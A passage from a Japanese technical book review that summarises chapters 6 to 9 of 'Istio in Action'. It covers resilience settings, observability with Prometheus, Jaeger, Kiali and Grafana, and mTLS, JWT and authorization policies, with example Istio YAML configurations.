アクティブな接続数が最も少ないエンドポイントにリクエストを送信します。これらのアルゴリズムは、DestinationRuleリソースを使用して設定できます。例えば、以下のような設定が可能です:apiVersion: networking.istio.io/v1beta1kind: DestinationRulemetadata: name: my-destination-rulespec: host: my-service trafficPolicy: loadBalancer: simple: LEAST_CONNこの設定により、my-serviceへのリクエストは、最小接続数アルゴリズムを使用してロードバランシングされます。著者は、これらのアルゴリズムの違いを実際のパフォーマンステストを通じて示しています。特に印象的だったのは、異なる負荷状況下での各アルゴリズムの振る舞いの違いです。例えば、一部のエンドポイントが高レイテンシーを示す状況下では、Least Connectionアルゴリズムが最も効果的にパフォーマンスを維持できることが示されています。SREの観点からは、この機能は特に重要です。本番環境では、サービスの負荷やパフォーマンスが常に変動するため、適切なロードバランシングアルゴリズムを選択し、必要に応じて動的に調整できることは、システムの安定性と効率性を大幅に向上させます。ロケーションアウェアロードバランシング著者は、Istioのロケーションアウェアロードバランシング機能についても詳しく説明しています。この機能は、マルチクラスタ環境やハイブリッドクラウド環境で特に有用です。ロケーションアウェアロードバランシングを使用すると、Istioは地理的に近いサービスインスタンスにトラフィックを優先的にルーティングします。これにより、レイテンシーを低減し、データの局所性を向上させることができます。例えば、以下のようなDestinationRuleを使用して、ロケーションベースの重み付けを設定できます:apiVersion: networking.istio.io/v1beta1kind: DestinationRulemetadata: name: my-destination-rulespec: host: my-service trafficPolicy: loadBalancer: localityLbSetting: distribute: - from: us-west/zone1/* to: \\"us-west/zone1/*\\": 80 \\"us-west/zone2/*\\": 20この設定では、us-west/zone1からのトラフィックの80%を同じゾーンに、20%をus-west/zone2にルーティングします。Figure 6.10 Prefer calling services in the same locality. より引用SREとして、この機能は特にグローバルに分散したアプリケーションの運用に有用です。適切に設定することで、ユーザーエクスペリエンスの向上、コストの最適化、そして障害時の影響範囲の局所化を実現できます。タイムアウトとリトライ著者は、Istioのタイムアウトとリトライ機能について詳細に解説しています。これらの機能は、ネットワークの信頼性が低い環境や、サービスが一時的に応答しない状況での耐性を向上させるために重要です。タイムアウトは、VirtualServiceリソースを使用して設定できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-virtual-servicespec: hosts: - my-service http: - route: - destination: host: my-service timeout: 0.5sこの設定では、my-serviceへのリクエストが0.5秒以内に完了しない場合、タイムアウトエラーが発生します。リトライも同様にVirtualServiceで設定できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-virtual-servicespec: hosts: - my-service http: - route: - destination: host: my-service retries: attempts: 3 perTryTimeout: 2sこの設定では、リクエストが失敗した場合に最大3回まで再試行し、各試行のタイムアウトを2秒に設定しています。著者は、これらの設定の影響を実際のパフォーマンステストを通じて示しています。特に印象的だったのは、適切に設定されたリトライ機能が、一時的な障害からのサービスの回復性を大幅に向上させる様子です。しかし、著者は同時に、過度のリトライがシステムに与える潜在的な悪影響についても警告しています。「サンダリングハード」問題(リトライが連鎖的に増幅し、システムに過大な負荷をかける現象)について言及しており、この問題を回避するためのベストプラクティスを提供しています。Figure 6.14 The “thundering herd” effect when retries compound each other より引用SREの観点からは、タイムアウトとリトライの適切な設定は、システムの信頼性とパフォーマンスのバランスを取る上で極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の依存関係が複雑になるため、これらの設定の影響を慎重に検討し、継続的にモニタリングと調整を行う必要があります。サーキットブレーキング著者は、Istioのサーキットブレーキング機能について詳細に解説しています。この機能は、システムの一部が障害を起こした際に、その影響が他の部分に波及するのを防ぐために重要です。Istioでは、サーキットブレーキングをDestinationRuleリソースを使用して設定します:apiVersion: networking.istio.io/v1beta1kind: DestinationRulemetadata: name: my-destination-rulespec: host: my-service trafficPolicy: connectionPool: tcp: maxConnections: 100 http: http1MaxPendingRequests: 1 maxRequestsPerConnection: 10 outlierDetection: consecutiveErrors: 5 interval: 5s baseEjectionTime: 30s maxEjectionPercent: 100この設定では、以下のようなサーキットブレーキングのルールを定義しています:最大100のTCP接続を許可キューに入れることができる未処理のHTTPリクエストを1つに制限1つの接続で処理できる最大リクエスト数を10に制限5回連続でエラーが発生した場合、そのホストを30秒間エジェクト(除外)最大で100%のホストをエジェクト可能著者は、これらの設定の影響を実際のパフォーマンステストを通じて示しています。特に印象的だったのは、サーキットブレーキングが適切に機能することで、システム全体の安定性が大幅に向上する様子です。Figure 6.15 Circuit-breaking endpoints that don’t behave correctly より引用SREの観点からは、サーキットブレーキングは特に重要な機能です。大規模な分散システムでは、部分的な障害は避けられません。サーキットブレーキングを適切に設定することで、障害の影響を局所化し、システム全体の耐障害性を向上させることができます。実践的な応用と提案Istioのレジリエンス機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略の策定: レジリエンス機能の導入は、小規模なサービスから始め、徐々に範囲を広げていくことをお勧めします。特に、クリティカルではないサービスから始めることで、リスクを最小限に抑えながら経験を積むことができます。包括的なモニタリングの実装: Istioのテレメトリ機能を活用し、サービスのパフォーマンス、エラーレート、レイテンシなどを詳細に監視します。Prometheusなどのモニタリングシステムと統合し、カスタムダッシュボードを作成して、レジリエンス機能の効果を視覚化します。カオスエンジニアリングの実践: Istioのトラフィック管理機能と障害注入機能を組み合わせて、計画的にシステムに障害を導入し、レジリエンス機能の効果を検証します。これにより、予期せぬ障害に対する準備を整えることができます。サーキットブレーキングの最適化: サーキットブレーキングの設定は、サービスの特性や負荷パターンに応じて最適化する必要があります。負荷テストを実施し、適切なしきい値を見つけることが重要です。リトライ戦略の慎重な設計: リトライは有効な機能ですが、過度のリトライはシステムに悪影響を与える可能性があります。エクスポネンシャルバックオフなどの高度なリトライ戦略を検討し、「サンダリングハード」問題を回避します。ロケーションアウェアロードバランシングの活用: グローバルに分散したアプリケーションでは、ロケーションアウェアロードバランシングを積極的に活用します。これにより、レイテンシーの低減とデータの局所性の向上を実現できます。アプリケーションレベルのレジリエンスとの統合: Istioのレジリエンス機能は強力ですが、アプリケーションレベルのレジリエンス(例:サーキットブレーカーパターン、バルクヘッドパターン)と組み合わせることで、さらに強固なシステムを構築できます。継続的な学習と最適化: レジリエンス戦略は、システムの進化と共に継続的に見直し、最適化する必要があります。新しいIstioのバージョンがリリースされた際は、新機能や改善点を積極的に評価し、導入を検討します。ドキュメンテーションとナレッジ共有: レジリエンス設定とその理由を明確にドキュメント化し、チーム全体で共有します。これにより、長期的なメンテナンス性が向上し、新しいチームメンバーのオンボーディングも容易になります。パフォーマンスとレジリエンスのトレードオフの管理: レジリエンス機能の導入は、システムのパフォーマンスにも影響を与える可能性があります。常にパフォーマンスとレジリエンスのバランスを意識し、必要に応じて調整を行います。まとめ「Istio in Action」の第6章は、Istioを活用したマイクロサービスアーキテクチャのレジリエンス向上について、非常に包括的かつ実践的な内容を提供しています。著者は、クライアントサイドロードバランシング、タイムアウト、リトライ、サーキットブレーキングなどの重要な概念を、理論的説明と実際のパフォーマンステストを通じて解説しており、読者に深い理解を促しています。特に印象的だったのは、著者が単にIstioの機能を説明するだけでなく、それらの機能が実際のプロダクション環境でどのように適用され、どのような影響をもたらすかを具体的に示している点です。例えば、サーキットブレーキングの設定が、システム全体の安定性にどのように寄与するかを、実際のメトリクスを用いて説明している部分は非常に有益です。この章で紹介されているテクニックは、現代の複雑な分散システムの運用において極めて重要です。特に、手動介入なしにシステムのレジリエンスを向上させる能力は、大規模なマイクロサービス環境では不可欠です。しかし、同時に著者は、これらの機能の過度の使用や誤った設定がもたらす潜在的なリスクについても警告しています。例えば、過剰なリトライによる「サンダリングハード」問題や、不適切なサーキットブレーキング設定による不必要なサービス停止などのリスクについて言及しており、読者に慎重な設計と継続的なモニタリングの重要性を喚起しています。2024年現在の技術動向を踏まえると、本章で説明されている概念は依然として有効であり、重要性を増していると言えます。特に、アンビエントメッシュやWebAssemblyの進化により、Istioのレジリエンス機能はより柔軟かつ効率的に適用できるようになっています。最後に、この章から得られる重要な教訓は、レジリエンスは単なる技術的な課題ではなく、システム設計、運用プラクティス、そして組織文化全体に関わる問題だということです。Istioは強力なツールを提供しますが、それを効果的に活用するためには、継続的な学習、実験、そして最適化が不可欠です。7 Observability: Understanding the behavior of your services「Istio in Action」の第7章は、マイクロサービスアーキテクチャにおける重要な課題である観測可能性(Observability)に焦点を当てています。著者は、複雑に絡み合ったサービス群の挙動を理解し、問題を迅速に特定・解決するためのIstioの機能を詳細に解説しています。この章で特に印象に残ったのは観測可能性はデータを収集するだけでなく、そのデータから洞察を得て、システムのパフォーマンス、信頼性、ユーザーエクスペリエンスを向上させることに関するものです。この考え方は、観測可能性の本質を端的に表現しており、単なるモニタリングを超えた価値を強調しています。Istioの観測可能性アーキテクチャ著者は、Istioの観測可能性アーキテクチャについて詳細に解説しています。Istioは、以下の3つの主要な観測可能性機能を提供しています:メトリクス: システムの動作に関する数値データ分散トレーシング: リクエストの流れと各サービスでの処理時間の追跡アクセスログ: 各リクエストの詳細な情報これらの機能は、Istioのデータプレーン(Envoyプロキシ)とコントロールプレーン(istiod)の両方で実装されています。Figure 7.1 Istio is in a position to implement controls and observations. より引用この図は、Istioの観測可能性アーキテクチャの全体像を示しています。Envoyプロキシがデータを収集し、それがPrometheus、Jaeger、Logging Backendなどのツールに送られる様子が描かれています。メトリクス収集の詳細Istioは、サービスメッシュ内のトラフィックに関する豊富なメトリクスを自動的に収集します。これらのメトリクスは、主に以下の4つのカテゴリに分類されます:プロキシレベルメトリクス: Envoyプロキシ自体の性能に関するメトリクスサービスレベルメトリクス: 各サービスのリクエスト量、レイテンシ、エラーレートなどコントロールプレーンメトリクス: istiodの性能と健全性に関するメトリクスIstio標準メトリクス: Istioが定義する標準的なメトリクスセット著者は、これらのメトリクスの詳細と、それらがどのようにPrometheusで収集されるかを説明しています。例えば、以下のようなPrometheusクエリを使用して、特定のサービスの成功率を計算できます:Figure 7.2 Prometheus scraping Istio service proxy for metrics より引用sum(rate(istio_requests_total{reporter=\\"destination\\",destination_service_name=\\"myservice\\",response_code!~\\"5.*\\"}[5m])) / sum(rate(istio_requests_total{reporter=\\"destination\\",destination_service_name=\\"myservice\\"}[5m]))このクエリは、過去5分間のリクエスト成功率(5xxエラー以外のレスポンス)を計算します。分散トレーシングの実装著者は、Istioの分散トレーシング機能の実装詳細について深く掘り下げています。Istioは、OpenTelemetryプロトコルを使用して分散トレーシングをサポートしています。トレーシングを有効にするためには、以下の3つの主要なコンポーネントが必要です:トレースコンテキストの伝播: リクエストヘッダーを使用してトレース情報を伝播スパンの生成: 各サービスでの処理をスパンとして記録トレースバックエンド: Jaegerなどのシステムでトレースデータを収集・分析著者は、これらのコンポーネントの設定方法と、効果的な使用方法を詳細に説明しています。例えば、以下のようなTelemetryリソースを使用して、トレーシングの設定をカスタマイズできます:apiVersion: telemetry.istio.io/v1alpha1kind: Telemetrymetadata: name: tracing-configspec: tracing: - customTags: my_custom_tag: literal: value: \\"some-constant-value\\" randomSamplingPercentage: 10.00この設定では、10%のリクエストをランダムにサンプリングし、カスタムタグを追加しています。アクセスロギングの高度な設定著者は、Istioのアクセスロギング機能の高度な設定オプションについても詳しく解説しています。アクセスログは、各リクエストの詳細な情報を記録し、後から分析やトラブルシューティングを行うために使用されます。Istioでは、EnvoyFilterリソースを使用してログフォーマットをカスタマイズできます。例えば、以下のような設定で、JSONフォーマットのログを生成できます:apiVersion: networking.istio.io/v1alpha3kind: EnvoyFiltermetadata: name: custom-access-logspec: configPatches: - applyTo: NETWORK_FILTER match: context: ANY listener: filterChain: filter: name: \\"envoy.filters.network.http_connection_manager\\" patch: operation: MERGE value: typed_config: \\"@type\\": \\"type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager\\" access_log: - name: envoy.access_loggers.file typed_config: \\"@type\\": \\"type.googleapis.com/envoy.extensions.access_loggers.file.v3.FileAccessLog\\" path: /dev/stdout json_format: time: \\"%START_TIME%\\" protocol: \\"%PROTOCOL%\\" duration: \\"%DURATION%\\" request_method: \\"%REQ(:METHOD)%\\" request_host: \\"%REQ(HOST)%\\" path: \\"%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%\\" response_code: \\"%RESPONSE_CODE%\\" response_flags: \\"%RESPONSE_FLAGS%\\" client_ip: \\"%DOWNSTREAM_REMOTE_ADDRESS_WITHOUT_PORT%\\" user_agent: \\"%REQ(USER-AGENT)%\\" request_id: \\"%REQ(X-REQUEST-ID)%\\" upstream_host: \\"%UPSTREAM_HOST%\\" upstream_cluster: \\"%UPSTREAM_CLUSTER%\\" upstream_local_address: \\"%UPSTREAM_LOCAL_ADDRESS%\\"このJSONフォーマットのログは、構造化されているため、Elasticsearchなどのログ分析ツールでより効率的に処理・分析できます。観測可能性データの活用著者は、収集した観測可能性データを実際にどのように活用するかについても詳しく説明しています。主な活用方法として、以下が挙げられています:パフォーマンス最適化: レイテンシメトリクスとトレースデータを使用して、ボトルネックを特定し、最適化問題のトラブルシューティング: エラーレートの急増やレイテンシスパイクの原因を特定容量計画: 長期的なトラフィックトレンドを分析し、適切なスケーリング戦略を立案セキュリティ監査: 異常なトラフィックパターンや不正アクセスの試みを検出SLO/SLAの監視: サービスレベル目標の達成状況をリアルタイムで監視著者は、これらの活用方法について具体的な例を挙げて説明しています。例えば、特定のAPIエンドポイントのレイテンシが急増した場合、以下のようなステップでトラブルシューティングを行うことができます:Grafanaダッシュボードでレイテンシメトリクスを確認し、問題の範囲と影響を特定Jaegerでトレースデータを分析し、どのサービスやコンポーネントが遅延の原因となっているかを特定関連するアクセスログを検索し、問題のリクエストの詳細な情報を確認必要に応じて、Istioの高度なルーティング機能を使用してトラフィックを迂回させ、問題の影響を最小限に抑えるこのような体系的なアプローチにより、複雑なマイクロサービス環境でも効率的に問題を特定・解決することができます。まとめ著者は、観測可能性がマイクロサービスアーキテクチャの成功に不可欠であることを強調しています。Istioの観測可能性機能は、複雑なシステムの挙動を理解し、問題を迅速に特定・解決するための強力なツールセットを提供します。しかし、著者は同時に、観測可能性は技術的な問題だけでなく、組織的な課題でもあることを指摘しています。効果的な観測可能性戦略を実装するためには、以下のような組織的な取り組みが必要です:観測可能性文化の醸成: チーム全体で観測可能性の重要性を理解し、日常的な開発・運用プロセスに組み込むスキルの向上: メトリクス、トレース、ログの効果的な利用方法について、継続的なトレーニングを実施ツールとプラクティスの標準化: 一貫した観測可能性アプローチを組織全体で採用自動化の推進: 観測可能性データの収集、分析、可視化プロセスを可能な限り自動化最後に、著者は将来の展望として、機械学習やAIを活用した高度な異常検知や予測分析の可能性に言及しています。これらの技術とIstioの観測可能性機能を組み合わせることで、さらに強力なシステム監視・最適化が可能になると予想されます。2024年現在の技術動向を踏まえると、本章で説明されている観測可能性の概念と実践は依然として有効であり、その重要性はさらに増しています。特に、OpenTelemetryの普及やクラウドネイティブ環境の複雑化に伴い、Istioの観測可能性機能はより一層重要になっています。8 Observability: Visualizing network behavior with Grafana, Jaeger, and Kiali「Istio in Action」の第8章は、Istioの観測可能性機能に焦点を当て、Grafana、Jaeger、Kialiといった強力なツールを用いてサービスメッシュの動作を可視化する方法を詳細に解説しています。この章で言葉は、観測可能性はデータを収集するだけでなく、そのデータから洞察を得てシステムのパフォーマンス、信頼性、ユーザーエクスペリエンスを向上させることに関するものです。この考え方は、観測可能性の本質を端的に表現しており、単なるモニタリングを超えた価値を強調しています。この章は実際の運用環境でIstioを効果的に活用するための実践的なガイドとして非常に価値があります。特に、複雑なマイクロサービス環境でのトラブルシューティングや性能最適化に必要な洞察を得るための具体的な方法が示されている点が印象的です。Grafanaを用いたメトリクスの可視化著者は、Grafanaを使用してIstioのメトリクスを可視化する方法を詳細に解説しています。Grafanaは、Prometheusが収集したメトリクスを視覚的に表現するためのツールとして紹介されています。このコマンドは、Istioの各種ダッシュボードをKubernetesのConfigMapとして作成します。これにより、Grafanaで簡単にIstioの状態を監視できるようになります。Figure 8.4 The control-plane dashboard with metrics graphed より引用この図は、Grafanaで表示されるIstioコントロールプレーンのダッシュボードを示しています。CPU使用率、メモリ使用率、goroutine数など、重要なメトリクスが視覚化されています。これらのダッシュボードは日常的な運用監視やトラブルシューティングに非常に有用です。例えば、コントロールプレーンのパフォーマンス問題や設定の同期状態を即座に確認できます。分散トレーシングとJaeger著者は、分散トレーシングの概念とJaegerを用いた実装方法について詳細に解説しています。分散トレーシングは、複数のマイクロサービスにまたがるリクエストの流れを追跡し、各サービスでの処理時間やエラーの発生箇所を特定するために不可欠な技術です。Jaegerをデプロイするための最新のYAMLファイルは、Istioの公式リポジトリから入手できます。github.com著者は、分散トレーシングを効果的に活用するためには、アプリケーションコードでトレースヘッダーを適切に伝播することが重要だと強調しています。以下は、Istioが自動的に生成するトレースヘッダーのリストです:x-request-idx-b3-traceidx-b3-spanidx-b3-parentspanidx-b3-sampledx-b3-flagsx-ot-span-contextこれらのヘッダーを適切に伝播することで、サービス間の呼び出しを正確にトレースできます。Figure 8.7 With distributed tracing, we can collect Span s for each network hop, capture them in an overall Trace, and use them to debug issues in our call graph. より引用この図は、分散トレーシングの概念を視覚的に表現しています。複数のサービスにまたがるリクエストの流れと、各サービスでの処理時間が明確に示されています。Figure 8.8 The application must propagate the tracing headers. Otherwise, we lose the full span of the request. より引用SREとして、この機能は特に複雑なマイクロサービス環境でのパフォーマンス問題やエラーの根本原因分析に非常に有効です。例えば、特定のAPI呼び出しが遅い原因が、どのサービスのどの処理にあるのかを迅速に特定できます。Kialiを用いたサービスメッシュの可視化著者は、Kialiを使用してIstioのサービスメッシュを可視化する方法を詳細に解説しています。Kialiは、サービス間の依存関係やトラフィックフローをリアルタイムで視覚化するツールとして紹介されています。Kialiの最新バージョンをデプロイするには、Helm chartを使用することが推奨されています。以下は、Kialiをデプロイするコマンドの例です:helm install \\\\ --namespace kiali-operator \\\\ --create-namespace \\\\ --set cr.create=true \\\\ --set cr.namespace=istio-system \\\\ --repo https://kiali.org/helm-charts \\\\ kiali-operator \\\\ kiali-operatorこのコマンドは、KialiオペレーターとKialiインスタンスを同時にデプロイします。Kialiの主な機能として、以下が挙げられています:サービス間のトラフィックフローの可視化リアルタイムのヘルスステータス監視Istio設定のバリデーショントレースデータとメトリクスの相関分析Figure 8.15 Simple visual graph of the services in our namespace and how they’re connected to each other より引用この図は、Kialiで表示されるサービスメッシュのグラフビューを示しています。サービス間の依存関係とトラフィックフローが視覚的に表現されています。SREの観点からは、Kialiは特にトラブルシューティングと性能最適化に非常に有用です。例えば、特定のサービスへのトラフィック集中や、予期せぬサービス間の依存関係を視覚的に素早く把握できます。実践的な応用と提案Istioの観測可能性機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:包括的な監視戦略の策定: Grafana、Jaeger、Kialiを組み合わせた包括的な監視戦略を策定します。各ツールの長所を活かし、相互補完的に使用することで、システムの状態をより完全に把握できます。カスタムダッシュボードの作成: Grafanaを使用して、ビジネス目標に直結するカスタムダッシュボードを作成します。例えば、特定のAPIのエラーレートとレイテンシを組み合わせたダッシュボードを作成し、SLOの達成状況を可視化します。トレースサンプリング戦略の最適化: 全てのリクエストをトレースするのではなく、適切なサンプリング戦略を設定します。例えば、エラーが発生したリクエストや特定の重要な処理パスを常にトレースし、それ以外はランダムサンプリングするなどの戦略が考えられます。アラートの適切な設定: メトリクスに基づいて適切なアラートを設定します。ただし、アラートの閾値は慎重に設定し、誤検知や警告疲れを避けるよう注意します。例えば、短期的なスパイクではなく、持続的な問題に対してアラートを発生させるよう設定します。サービスメッシュの健全性監視: Kialiを使用して、サービスメッシュ全体の健全性を定期的に監視します。特に、新しいサービスのデプロイ後や設定変更後には、予期せぬ影響がないか注意深く確認します。トレースデータの分析自動化: Jaegerのトレースデータを自動的に分析し、パフォーマンス低下やエラー増加のパターンを検出するスクリプトを作成します。これにより、問題を早期に発見し、プロアクティブに対応できます。observability-as-codeの実践: 監視設定やダッシュボード定義をコード化し、バージョン管理システムで管理します。これにより、環境間での一貫性を保ち、設定変更の追跡を容易にします。チーム間の知識共有: 定期的なワークショップやドキュメンテーションの更新を通じて、チーム全体でIstioの観測可能性機能に関する知識を共有します。これにより、全てのチームメンバーが効果的にツールを活用できるようになります。まとめ「Istio in Action」の第8章は、Istioの観測可能性機能を実践的に活用するための包括的なガイドを提供しています。Grafana、Jaeger、Kialiといった強力なツールを組み合わせることで、複雑なマイクロサービス環境の動作を詳細に把握し、効果的に管理することが可能になります。著者は、これらのツールを単に導入するだけでなく、実際の運用シナリオでどのように活用するかを具体的に示しています。例えば、Grafanaのダッシュボードを使用してシステムの全体的な健全性を監視し、異常が検出された場合にJaegerのトレースデータを分析してボトルネックを特定し、最後にKialiを使用してサービス間の依存関係を視覚的に確認するといった、総合的なトラブルシューティングアプローチが提案されています。特に印象的だったのは、著者が観測可能性を単なる技術的な課題ではなく、ビジネス価値に直結する重要な要素として位置づけている点です。例えば、トレースデータを活用してユーザーエクスペリエンスの改善につなげたり、Kialiの可視化機能を使用してサービス間の依存関係を最適化したりするなど、観測可能性がビジネスの成功に直接貢献する方法が示されています。9 Securing microservice communication「Istio in Action」の第9章は、マイクロサービスアーキテクチャにおける重要な課題の一つであるセキュリティに焦点を当てています。著者は、Istioが提供する強力なセキュリティ機能を詳細に解説し、サービス間通信の認証、認可、暗号化をどのように実現するかを具体的な例を交えて説明しています。この辺についてはIstioを使わない場合だとマイクロサービス間通信における認証認可およびアクセス制御が良いのでオススメです。zenn.devこの章で特に印象に残ったのは、「Istioはセキュアバイデフォルト」という概念です。これは、Istioがデフォルトで高度なセキュリティ機能を提供し、開発者が意識しなくてもある程度のセキュリティを確保できることを意味しています。しかし、同時に著者は、真のセキュリティを実現するためには、これらの機能を適切に理解し、設定する必要があることも強調しています。Figure 9.1 Monolithic application running on-premises with static IPs より引用この図は、オンプレミス環境で静的IPを使用して運用されるモノリシックアプリケーションを示しています。静的なインフラストラクチャでは、IPアドレスが信頼の良い源となり、認証のための証明書や、ネットワークファイアウォールルールで一般的に使用されます。この環境では、セキュリティの管理が比較的単純です。しかし、著者は続けて、マイクロサービスアーキテクチャへの移行に伴う課題を説明しています。マイクロサービスは容易に数百、数千のサービスに成長し、静的な環境での運用が困難になります。そのため、チームはクラウドコンピューティングやコンテナオーケストレーションなどの動的な環境を活用し、サービスは多数のサーバーにスケジュールされ、短命になります。これにより、IPアドレスを使用する従来の方法は信頼できない識別子となります。さらに、サービスは必ずしも同じネットワーク内で実行されるわけではなく、異なるクラウドプロバイダーやオンプレミスにまたがる可能性があります。この変化は重要です。静的な環境からダイナミックな環境への移行は、セキュリティの実装方法を根本的に変える必要があることを意味します。特に、サービス間認証(mTLS)、エンドユーザー認証(JWT)、細かな認可ポリシーの設定など、現代のクラウドネイティブアプリケーションに不可欠なセキュリティ機能が重要になってきます。サービス間認証(mTLS)著者は、Istioのサービス間認証機能、特に相互TLS(mTLS)について詳細に解説しています。mTLSは、サービス間の通信を暗号化するだけでなく、通信の両端を相互に認証することで、非常に高度なセキュリティを実現します。Figure 9.4 Workloads mutually authenticate using SVID certificates issued by the Istio certificate authority. より引用この図は、Istioの証明書機関(CA)によって発行されたSPIFFE Verifiable Identity Document(SVID)証明書を使用して、ワークロードが相互に認証する様子を示しています。これにより、サービス間のトラフィックが暗号化され、相互に認証されることで、「セキュアバイデフォルト」の状態が実現されます。Istioでは、PeerAuthenticationリソースを使用してmTLSを設定します。例えば、以下のような設定でメッシュ全体にmTLSを強制適用できます:apiVersion: \\"security.istio.io/v1beta1\\"kind: \\"PeerAuthentication\\"metadata: name: \\"default\\" namespace: \\"istio-system\\"spec: mtls: mode: STRICTこの設定により、メッシュ内のすべてのサービス間通信がmTLSで保護されます。著者は、この設定の影響を実際のトラフィックフローを用いて説明しており、特に印象的でした。しかし、著者は同時に、既存のシステムへのmTLSの導入には注意が必要であることも強調しています。急激な変更はシステムの安定性を脅かす可能性があるため、PERMISSIVEモードを使用した段階的な導入が推奨されています。SREの観点からは、この段階的アプローチは非常に重要です。本番環境でのセキュリティ強化は、サービスの可用性とのバランスを取りながら慎重に進める必要があります。エンドユーザー認証(JWT)著者は、Istioのエンドユーザー認証機能、特にJSON Web Token(JWT)を使用した認証について詳細に解説しています。この機能により、マイクロサービスは個別に認証ロジックを実装することなく、一貫したエンドユーザー認証を実現できます。Figure 9.12 The server retrieves a JWKS to validate the token presented by the client. より引用この図は、サーバーがJWKS(JSON Web Key Set)を使用してクライアントから提示されたトークンを検証するプロセスを示しています。JWKSには公開鍵が含まれており、これを使用してトークンの署名を検証することで、トークンの真正性を確認します。このプロセスにより、トークンのクレームを信頼し、認可決定に使用することができます。Istioでは、RequestAuthenticationリソースを使用してJWT認証を設定します。例えば:apiVersion: \\"security.istio.io/v1beta1\\"kind: \\"RequestAuthentication\\"metadata: name: \\"jwt-token-request-authn\\" namespace: istio-systemspec: selector: matchLabels: app: istio-ingressgateway jwtRules: - issuer: \\"auth@istioinaction.io\\" jwks: | { \\"keys\\": [{\\"e\\":\\"AQAB\\",\\"kid\\":\\"##REDACTED##\\", \\"kty\\":\\"RSA\\",\\"n\\":\\"##REDACTED##\\"}]}この設定により、指定されたアプリケーションへのリクエストにJWTが要求されます。著者は、この設定の影響を実際のリクエストフローを用いて説明しており、非常に分かりやすい解説でした。特に印象的だったのは、著者がJWTの検証だけでなく、JWT claimsを使用した細かな認可制御についても言及している点です。これにより、ユーザーの役割や権限に基づいた詳細なアクセス制御が可能になります。認可ポリシー著者は、Istioの認可ポリシー機能について詳細に解説しています。この機能により、サービス間やエンドユーザーのアクセス制御を非常に細かいレベルで設定できます。Figure 9.9 Authorization reduces the attack scope to only what the stolen identity was authorized to access. より引用この図は、認可ポリシーがどのようにしてセキュリティインシデントの影響範囲を限定するかを示しています。適切な認可ポリシーを設定することで、アイデンティティが盗まれた場合でも、アクセス可能な範囲を最小限に抑えることができます。これは、最小権限の原則を実践する上で非常に重要な機能です。Istioでは、AuthorizationPolicyリソースを使用して認可ポリシーを設定します。例えば:apiVersion: \\"security.istio.io/v1beta1\\"kind: \\"AuthorizationPolicy\\"metadata: name: \\"allow-mesh-all-ops-admin\\" namespace: istio-systemspec: rules: - from: - source: requestPrincipals: [\\"auth@istioinaction.io/*\\"] when: - key: request.auth.claims[group] values: [\\"admin\\"]この設定により、特定の発行者(\\"auth@istioinaction.io\\")からのJWTを持ち、\\"admin\\"グループに属するユーザーのみがアクセスを許可されます。著者は、この機能の柔軟性と強力さを強調しており、特に印象的でした。例えば、特定のパスへのアクセス、特定のHTTPメソッドの使用、特定のヘッダーの存在など、非常に詳細な条件に基づいてアクセスを制御できます。SREの観点からは、この細かな制御は非常に重要です。最小権限の原則に基づいてアクセスを制限することで、セキュリティインシデントの影響範囲を最小限に抑えることができます。外部認可サービスとの統合著者は、Istioの外部認可サービス統合機能についても解説しています。この機能により、より複雑な認可ロジックや、既存の認可システムとの統合が可能になります。Figure 9.13 Using CUSTOM policies to get requests authorized by an external server より引用この図は、Istioが外部の認可サーバーを使用してリクエストを認可する方法を示しています。サービスプロキシに入ってくるリクエストは、外部認可(ExtAuthz)サービスへの呼び出しを行う間、一時停止します。この ExtAuthz サービスはメッシュ内、アプリケーションのサイドカーとして、あるいはメッシュの外部に存在する可能性があります。これにより、組織固有の複雑な認可ロジックを実装することが可能になります。例えば、以下のようなAuthorizationPolicyを使用して外部認可サービスを設定できます:apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: ext-authz namespace: istioinactionspec: selector: matchLabels: app: webapp action: CUSTOM provider: name: sample-ext-authz-http rules: - to: - operation: paths: [\\"/\\"]この設定により、指定されたパスへのリクエストは外部の認可サービスによって評価されます。著者は、この機能の柔軟性と強力さを強調しており、特に印象的でした。例えば、複雑なビジネスロジックに基づく認可や、既存の認証システムとの統合など、Istioの標準機能では難しい要件にも対応できます。しかし、著者は同時に、外部認可サービスの使用にはパフォーマンスのトレードオフがあることも指摘しています。外部サービスへの呼び出しは追加のレイテンシを引き起こす可能性があるため、慎重な設計と最適化が必要です。実践的な応用と提案Istioのセキュリティ機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略の策定: アンビエントメッシュの特性を活かし、既存のサイドカーベースの導入から段階的に移行する計画を立てます。これにより、リスクを最小限に抑えつつ、新しいアーキテクチャの利点を享受できます。ゼロトラスト原則の適用: Istioの細かな認証・認可機能を活用し、全てのサービス間通信に対して「信頼しない」デフォルトポリシーを適用します。必要な通信のみを明示的に許可するアプローチを採用します。動的ポリシー管理の実装: セキュリティポリシーの動的更新機能を活用し、CI/CDパイプラインにセキュリティポリシーの更新プロセスを組み込みます。これにより、アプリケーションの変更に合わせてセキュリティ設定を自動的に更新できます。統合監視・ログ分析の強化: Istioの高度な可観測性機能を活用し、セキュリティイベントの統合監視とログ分析システムを構築します。これにより、セキュリティインシデントの早期検出と迅速な対応が可能になります。定期的なセキュリティ評価の実施: Istioの設定とセキュリティポリシーを定期的に評価し、最新のベストプラクティスや脅威情報に基づいて最適化します。自動化されたセキュリティテストをCI/CDプロセスに組み込むことも検討します。クロスファンクショナルなセキュリティチームの編成: 開発者、運用者、セキュリティ専門家で構成されるクロスファンクショナルなチームを編成し、Istioのセキュリティ機能の設計、実装、運用を協力して行います。これにより、セキュリティを開発ライフサイクルの早い段階から考慮に入れることができます。外部認証サービスのパフォーマンス最適化: 外部認証サービスを使用する場合は、キャッシング戦略の導入や、認証サービスのスケーリングを適切に行い、パフォーマンスへの影響を最小限に抑えます。継続的な学習と能力開発: Istioの進化に合わせて、チームのスキルセットを継続的に更新します。Istioのコミュニティイベントへの参加や、社内トレーニングの実施を検討します。これらの提案を実践することで、Istioのセキュリティ機能を最大限に活用し、より安全で管理しやすいマイクロサービス環境を構築することができるでしょう。まとめ「Istio in 